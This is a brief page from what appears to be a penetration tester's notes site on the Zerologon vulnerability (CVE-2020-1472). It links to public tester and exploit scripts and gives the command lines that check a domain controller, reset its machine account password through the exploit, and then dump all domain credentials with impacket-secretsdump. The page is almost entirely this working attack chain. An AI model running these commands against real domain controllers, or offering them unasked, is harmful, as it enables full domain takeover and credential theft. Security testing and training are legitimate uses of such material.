> For the complete documentation index, see [llms.txt](https://notes.morph3.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.morph3.blog/windows/exploits/cve-2020-1472-zerologon.md).

# CVE-2020-1472 - Zerologon

Testing it

* <https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py>

```
python3 zerologon_tester.py dc01.ecorp.local 1.3.3.7
```

Exploiting it,

* <https://github.com/VoidSec/CVE-2020-1472>

```
python3 cve-2020-1472-exploit.py -t 1.3.3.7 -n ecorp.ocal
```

After this, machine account password should be resetted.

Secretsdump with empty machine account password

```
impacket-secretsdump -no-pass -just-dc ecorp.local/ecorp-dc01\$@10.3.3.7
```